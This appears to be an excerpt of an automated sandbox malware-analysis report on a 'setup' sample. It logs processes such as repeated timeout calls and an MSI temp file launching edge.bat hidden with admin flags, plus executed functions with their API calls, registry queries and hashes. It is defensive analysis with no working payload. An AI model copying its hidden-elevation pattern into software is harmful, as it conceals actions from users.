Start time:	14:11:58
Start date:	28/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	14:11:58
Start date:	28/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2060 --field-trial-handle=2012,i,10222868034098351333,13685129222229150854,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	14:12:00
Start date:	28/10/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	timeout 2
Imagebase:	0x7ff798f70000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	14:12:02
Start date:	28/10/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	timeout 2
Imagebase:	0x7ff798f70000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	14:12:04
Start date:	28/10/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	timeout 2
Imagebase:	0x7ff798f70000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	14:12:06
Start date:	28/10/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	timeout 2
Imagebase:	0x7ff798f70000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	14:12:08
Start date:	28/10/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	timeout 2
Imagebase:	0x7ff798f70000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	14:12:10
Start date:	28/10/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	timeout 2
Imagebase:	0x7ff798f70000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	14:12:11
Start date:	28/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --no-startup-window /prefetch:5
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	14:12:11
Start date:	28/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2064 --field-trial-handle=2012,i,17522224552689378138,6417613085102451852,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	14:12:12
Start date:	28/10/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	timeout 2
Imagebase:	0x7ff798f70000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	14:12:14
Start date:	28/10/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	timeout 2
Imagebase:	0x7ff798f70000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	14:12:16
Start date:	28/10/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	timeout 2
Imagebase:	0x7ff798f70000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	14:12:18
Start date:	28/10/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	timeout 2
Imagebase:	0x7ff798f70000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	14:12:19
Start date:	28/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --no-startup-window /prefetch:5
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	14:12:19
Start date:	28/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2044 --field-trial-handle=1992,i,14024855596687576691,10802708795507051728,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	14:12:20
Start date:	28/10/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	timeout 2
Imagebase:	0x7ff798f70000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	14:12:22
Start date:	28/10/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	timeout 2
Imagebase:	0x7ff798f70000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	14:12:24
Start date:	28/10/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	timeout 2
Imagebase:	0x7ff798f70000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	14:12:26
Start date:	28/10/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	timeout 2
Imagebase:	0x7ff798f70000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	14:12:28
Start date:	28/10/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	timeout 2
Imagebase:	0x7ff798f70000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	14:12:30
Start date:	28/10/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	timeout 2
Imagebase:	0x7ff798f70000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	14:12:32
Start date:	28/10/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	timeout 2
Imagebase:	0x7ff798f70000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	14:12:34
Start date:	28/10/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	timeout 2
Imagebase:	0x7ff798f70000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	14:12:36
Start date:	28/10/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	timeout 2
Imagebase:	0x7ff798f70000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	14:12:38
Start date:	28/10/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	timeout 5
Imagebase:	0x7ff798f70000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	14:12:43
Start date:	28/10/2024
Path:	C:\Windows\Installer\MSIFB77.tmp
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Installer\MSIFB77.tmp" /EnforcedRunAsAdmin /RunAsAdmin /HideWindow /dir "C:\Users\user\AppData\Local\Temp\" "C:\Users\user\AppData\Local\Temp\edge.bat"
Imagebase:	0x7ff7a4750000
File size:	570'176 bytes
MD5 hash:	514314174B6F6A3AB2195C456B83AA1E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	55
Start time:	14:12:43
Start date:	28/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /C ""C:\Users\user\AppData\Local\Temp\edge.bat" "
Imagebase:	0x7ff65c650000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	56
Start time:	14:12:43
Start date:	28/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	1.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	29.5%
Total number of Nodes:	1195
Total number of Limit Nodes:	45

Executed Functions

Function 00CC72E0 Relevance: 16.6, APIs: 11, Instructions: 117
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00CC7328
OpenProcessToken.ADVAPI32(00000000,00000008,00000000), ref: 00CC7335
GetLastError.KERNEL32 ref: 00CC733F
GetTokenInformation.KERNELBASE(00000000,00000001(TokenIntegrityLevel),00000000,00000000,00DEB0F5), ref: 00CC7369
GetLastError.KERNEL32 ref: 00CC736F
GetTokenInformation.KERNELBASE(00000000,00000001(TokenIntegrityLevel),00DEB0F5,00DEB0F5,00DEB0F5,00DEB0F5), ref: 00CC7395
AllocateAndInitializeSid.ADVAPI32(00000000,00000001,00000012,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00CC73C8
EqualSid.ADVAPI32(00000000,?), ref: 00CC73D7
FreeSid.ADVAPI32(?), ref: 00CC73E6
CloseHandle.KERNEL32(00000000), ref: 00CC7420

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: Token$ErrorInformationLastProcess$AllocateCloseCurrentEqualFreeHandleInitializeOpen
String ID:
API String ID: 695978879-0
Opcode ID: c72bd60dcc5dc12780a505675e1899015b4253e91426f7025a4511b493e139c8
Instruction ID: 393da95fbd2d205c17e21a474556ed87da4b6c147708231fef71f5c843a5f97d
Opcode Fuzzy Hash: c72bd60dcc5dc12780a505675e1899015b4253e91426f7025a4511b493e139c8
Instruction Fuzzy Hash: 4F410A71904209DFDF10DFA5CC49BEEBBB8EF08714F14421AE921B21A0D7799A48DF64

Function 00CCF120 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 85
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(ComCtl32.dll,02141699,?,00000000,00000000), ref: 00CCF15E
GetProcAddress.KERNEL32(00000000,LoadIconMetric), ref: 00CCF181
GetSystemMetrics.USER32(0000000C), ref: 00CCF1BC
GetSystemMetrics.USER32(0000000B), ref: 00CCF1D2
FreeLibrary.KERNEL32(00000000), ref: 00CCF1FF

Strings

ComCtl32.dll, xrefs: 00CCF152
LoadIconMetric, xrefs: 00CCF17B

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: LibraryMetricsSystem$AddressFreeLoadProc
String ID: ComCtl32.dll$LoadIconMetric
API String ID: 499052680-764666640
Opcode ID: 47d71e4d4a282453aa86fcb735ad9c035639e7b24bcbe8b1ba55f1fb29fad3d0
Instruction ID: 438acd16002b8f76743fb5b3025aeb98f5524fd342a156c57344fd51a57c872d
Opcode Fuzzy Hash: 47d71e4d4a282453aa86fcb735ad9c035639e7b24bcbe8b1ba55f1fb29fad3d0
Instruction Fuzzy Hash: 73314FB1A00259EFEB109F96DC44BAFBBF8EB48750F14422EE915E7290D7758A05CB90

Function 00CD3DC0 Relevance: 7.8, APIs: 5, Instructions: 315
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadStringW.USER32(?,00000000,?,00000100), ref: 00CD3EBC
LoadStringW.USER32(?,00000000,?,00000001), ref: 00CD3FDD

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: LoadString
String ID:
API String ID: 2948472770-0
Opcode ID: bd2f18d9c8a07e1e9cf5bacc2fce9326b12b3bc15bacfceec21a0f160745ac67
Instruction ID: eae9f35bd6ae73ad81f12af34919dd757757e26603a05abdad0df24afd518d0d
Opcode Fuzzy Hash: bd2f18d9c8a07e1e9cf5bacc2fce9326b12b3bc15bacfceec21a0f160745ac67
Instruction Fuzzy Hash: 6BC17D71D00248DFDB14DFA8C9457AEBBB5FF44304F24822AE515AB390EB746A85CB91

Function 00C889F0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 228
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(?,00000105), ref: 00C88A31

Part of subcall function 00BAACF0: GetProcessHeap.KERNEL32 ref: 00BAAD45
Part of subcall function 00BAACF0: __Init_thread_footer.LIBCMT ref: 00BAAD77
Part of subcall function 00BAACF0: __Init_thread_footer.LIBCMT ref: 00BAAE02

Part of subcall function 00BAA2A0: FindResourceW.KERNEL32(00000000,?,00000006,?,?,*.*,8007000E,80004005,00BC2B04,00000000,?,?,?,*.*,?,80070057), ref: 00BAA2C3

LoadLibraryExW.KERNEL32(?,00000000,00000000,00DE0ACD,000000FF), ref: 00C88B04

Strings

UxTheme.dll, xrefs: 00C88A0C, 00C88ADF, 00C88AE0, 00C88B74

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: Init_thread_footer$DirectoryFindHeapLibraryLoadProcessResourceSystem
String ID: UxTheme.dll
API String ID: 2586271605-352951104
Opcode ID: b20b415697e5efbb2d298634cc547f2bbd7528deb0f4ff358bede3aa43285811
Instruction ID: 068ecc62520be13866f13f6d31759f70d04cf19ebb339b4ecf7998f04be1444a
Opcode Fuzzy Hash: b20b415697e5efbb2d298634cc547f2bbd7528deb0f4ff358bede3aa43285811
Instruction Fuzzy Hash: ECA18BB0501645EFE714DF64C858BAABBF4FF04318F20825DD4299B6C1DBB6A618CB90

Function 00D7F902 Relevance: 5.0, APIs: 4, Instructions: 41
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000008,00000008,?,00BB83B7,?,?,00BB8164,?), ref: 00D7F907
HeapAlloc.KERNEL32(00000000,?,?,00BB8164,?), ref: 00D7F90E
GetProcessHeap.KERNEL32(00000000,00000000,?,?,00BB8164,?), ref: 00D7F954
HeapFree.KERNEL32(00000000,?,?,00BB8164,?), ref: 00D7F95B

Part of subcall function 00D7F7A0: GetProcessHeap.KERNEL32(00000008,0000000D,00000000,?,00D7F94A,00000000,?,?,00BB8164,?), ref: 00D7F7C4
Part of subcall function 00D7F7A0: HeapAlloc.KERNEL32(00000000,?,?,00BB8164,?), ref: 00D7F7CB

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: Heap$Process$Alloc$Free
String ID:
API String ID: 1864747095-0
Opcode ID: 897d0ac2c856a797f245f67d49a8f242f6696a1aac9e3c17896dab620501ca26
Instruction ID: ec1f047d5307fd1959d4803d8691d85bfe35efb4cf7cf0f91ee0d09bad410693
Opcode Fuzzy Hash: 897d0ac2c856a797f245f67d49a8f242f6696a1aac9e3c17896dab620501ca26
Instruction Fuzzy Hash: 27F09072644711ABC7342BB9BC08A5F2A559B94761725C138F649E6254EF20C8418B70

Function 00CCBDA0 Relevance: 4.6, APIs: 3, Instructions: 93
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNEL32(?,?,?,?), ref: 00CCBE3D
FindClose.KERNEL32(00000000), ref: 00CCBE9C

Part of subcall function 00BAA9B0: RtlAllocateHeap.NTDLL(?,00000000,?,02141699,00000000,00DA7E40,000000FF,?,?,00E9717C,?,00D11D86,8000000B,02141699), ref: 00BAA9FA

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: Find$AllocateCloseFileFirstHeap
String ID:
API String ID: 1673784098-0
Opcode ID: e888db47204757e1351086c9d6c357f338322ca12b290d3c39e26c628a109490
Instruction ID: a359c89d7996af6efb4b947e0db3cb33d77a4cbf6bc37bbb9d87559549225b98
Opcode Fuzzy Hash: e888db47204757e1351086c9d6c357f338322ca12b290d3c39e26c628a109490
Instruction Fuzzy Hash: D931D571904218DFDB24DF95C84AFAAB7F4FB44B10F20829EEA29A3380D7715E44CB91

Function 00BDC5D0 Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

__set_se_translator.LIBVCRUNTIME ref: 00BDC5E8
SetUnhandledExceptionFilter.KERNEL32(00CCAD60), ref: 00BDC5FE

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: ExceptionFilterUnhandled__set_se_translator
String ID:
API String ID: 2480343447-0
Opcode ID: 8f26c1f0903634806eb335d5940fb21c3b7e72729d12c5e710f72fd2de98cd0b
Instruction ID: 283aad4e7cc383e9db4eea8833621fb82efec56d26391f73d5cf79b9b78173cc
Opcode Fuzzy Hash: 8f26c1f0903634806eb335d5940fb21c3b7e72729d12c5e710f72fd2de98cd0b
Instruction Fuzzy Hash: 93E086769042446EC621A761EC0DF4B7FA4EBDB714F088469F10473252D7749849D772

Function 00D16E40 Relevance: 1.5, APIs: 1, Instructions: 49comCOMMON

Download Yara Rule

APIs

Part of subcall function 00CD0DC0: __Init_thread_footer.LIBCMT ref: 00CD0EA0

CoCreateInstance.COMBASE(00E170E8,00000000,00000001,00E34C18,00000010), ref: 00D16EBE

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: CreateInit_thread_footerInstance
String ID:
API String ID: 3436645735-0
Opcode ID: 9ba1a07129082a08d723e8c8d5b061c94c209166b1aa83fa7a19f5216529106b
Instruction ID: bcbb026f6b8d35b4c4bfdb7c8249a4a225e579749561f4caa3da14cdddf0d2c4
Opcode Fuzzy Hash: 9ba1a07129082a08d723e8c8d5b061c94c209166b1aa83fa7a19f5216529106b
Instruction Fuzzy Hash: D511C0B1644304EFD720CF59D804B8ABBF8EB05B20F10465EF825AB7C0C7B6A508CBA0

Function 00CD1470 Relevance: 40.5, APIs: 4, Strings: 19, Instructions: 220
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNEL32(80000002,SYSTEM\CurrentControlSet\Control\ProductOptions,00000000,00020119,00000000), ref: 00CD14E0
RegQueryValueExW.KERNEL32(00000000,ProductType,00000000,00000000,?), ref: 00CD151B
RegQueryValueExW.KERNEL32(00000000,ProductSuite,00000000,00000000,?,?), ref: 00CD1596
RegCloseKey.KERNEL32(00000000), ref: 00CD176E

Strings

SYSTEM\CurrentControlSet\Control\ProductOptions, xrefs: 00CD14D6
Small Business(Restricted), xrefs: 00CD164D
Enterprise, xrefs: 00CD15E9
Compute Server, xrefs: 00CD170C
Storage Server, xrefs: 00CD16F5
ProductSuite, xrefs: 00CD158B
Blade, xrefs: 00CD16B0
Security Appliance, xrefs: 00CD16DE
Small Business, xrefs: 00CD15D0
EmbeddedNT, xrefs: 00CD1666
Embedded(Restricted), xrefs: 00CD16C7
DataCenter, xrefs: 00CD167F
BackOffice, xrefs: 00CD1602
CommunicationServer, xrefs: 00CD161B
ServerNT, xrefs: 00CD1544
ProductType, xrefs: 00CD1510
